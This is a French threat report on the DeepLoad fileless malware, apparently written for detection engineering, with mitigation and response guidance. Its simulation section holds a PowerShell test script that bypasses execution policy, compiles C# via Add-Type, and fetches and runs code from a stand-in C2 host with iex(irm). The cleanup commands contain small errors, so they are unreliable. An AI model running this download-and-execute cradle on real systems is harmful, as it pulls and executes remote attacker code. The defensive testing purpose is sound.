Le Malware DeepLoad Associe la Livraison ClickFix à l’Évasion Générée par IA

Résumé

DeepLoad est une famille de malwares sans fichier distribuée via l’ingénierie sociale ClickFix. Il repose sur un chargeur PowerShell obfusqué, une injection de shellcode en mémoire dans des processus Windows de confiance, et un « bruit » généré par l’IA pour réduire la fidélité de la détection statique. Le chargeur établit la persistance en utilisant une tâche planifiée et des abonnements à des événements WMI, peut se propager via des supports USB, et vole des identifiants via une extension de navigateur malveillante et un composant filemanager.exe associé.

Enquête

Le rapport décrit l’accès initial commençant par une commande PowerShell exécutée par la victime, suivie d’une récupération du chargeur via mshta.exe. Le chargeur utilise Add-Type pour générer un DLL temporaire à l’exécution, puis injecte du shellcode dans LockAppHost.exe en utilisant l’injection basée sur APC. La persistance est maintenue par une tâche planifiée et un abonnement à un événement WMI dissimulé capable de rétablir l’infection même après le nettoyage, avec une fenêtre de délai d’environ trois jours. Le vol d’identifiants est attribué à filemanager.exe avec une extension de navigateur malveillante fonctionnant en parallèle.

Mitigation

Activer Journalisation des blocs de scripts PowerShell et alerter sur les chaînes d’exécution PowerShell suspectes. Auditez l’activité réseau sortante de mshta.exe, surveillez la création inattendue de tâches planifiées, et détectez l’utilisation anormale de QueueUserAPC indicative d’une injection APC. Lors de la remédiation, énumérez explicitement et supprimez les abonnements à des événements WMI au lieu de vous fier uniquement au nettoyage des fichiers/registres. Faites pivoter les identifiants exposés et retirez toute extension de navigateur non autorisée pour couper les chemins de collecte d’identifiants.

Réponse

Si une activité DeepLoad est détectée, isolez l’hôte, arrêtez l’activité PowerShell malveillante et résiliez tous les processus injectés. Retirez la tâche planifiée et supprimez l’abonnement WMI associé, puis éradiquer filemanager.exe et l’extension de navigateur malveillante. Faites pivoter tous les identifiants potentiellement compromis, assainissez tout média USB connecté, et validez le système pour détecter les artefacts d’injection résiduels avant de le remettre en service.

Mots-clés : DeepLoad, ClickFix, malware sans fichier, chargeur PowerShell, mshta.exe, Add-Type, shellcode en mémoire, injection APC, QueueUserAPC, LockAppHost.exe, persistance par tâche planifiée, abonnement à des événements WMI, propagation par USB, extension de navigateur malveillante, vol d’identifiants.

Exécution de simulation

Prérequis : Le contrôle préalable de la télémétrie et de la ligne de base doit avoir été passé.

Justification : Cette section détaille l’exécution précise de la technique de l’adversaire (TTP) conçue pour déclencher la règle de détection. Les commandes et le récit DOIVENT refléter directement les TTPs identifiés et viser à générer la télémétrie exacte attendue par la logique de détection. Des exemples abstraits ou non liés entraîneront des erreurs de diagnostic.

• Narration et commandes de l’attaque :

  1. Pied-à-terre initial : L’attaquant dispose d’une session PowerShell à faible privilège sur la machine hôte de la victime.
  2. Contourner la politique d’exécution : Ils invoquent PowerShell avec -ep Bypass pour ignorer toute restriction d’exécution de script.
  3. Compiler un payload .NET : En utilisant Add-Type, ils intègrent une petite classe C# qui, lorsqu’elle est instanciée, effectue une requête web au serveur C2 (http://10.0.0.5:3015/index).
  4. Télécharger et exécuter un script distant : L’attaquant transfère le résultat de irm (Invoke‑RestMethod) dans iex, exécutant le script malveillant en mémoire.
  5. Télémétrie résultante : La ligne de commande enregistrée par le système d’exploitation contient les trois chaînes requises (-ep Bypass, Add-Type, iex(irm http://…:3015/index)), satisfaisant la règle Sigma.

• Script de test de régression :

  # Exécution malveillante type DeepLoad
  # Ce script reproduit le modèle de commande exact requis pour déclencher la règle Sigma.
  $c2 = "http://10.0.0.5:3015/index"
  $payload = @"
  using System;
  using System.Net;
  public class Loader {
  public static void Run() {
      new WebClient().DownloadString(""$c2"");
  }
  }
  "@
  # Invoquer PowerShell avec le drapeau de contournement, compiler le payload, puis exécuter le script distant
  powershell -NoProfile -ExecutionPolicy Bypass -Command `
      "Add-Type -TypeDefinition `$payload; `
       iex (irm $c2)"

• Commandes de nettoyage :

  # Supprimer tous les fichiers temporaires ou les assemblages chargés (si persistants)
  Remove-Item -Path "$env:TEMPloader.dll" -ErrorAction SilentlyContinue
  # Facultativement, effacer la transcription PowerShell (si activée)
  Clear-Host

Fin du rapport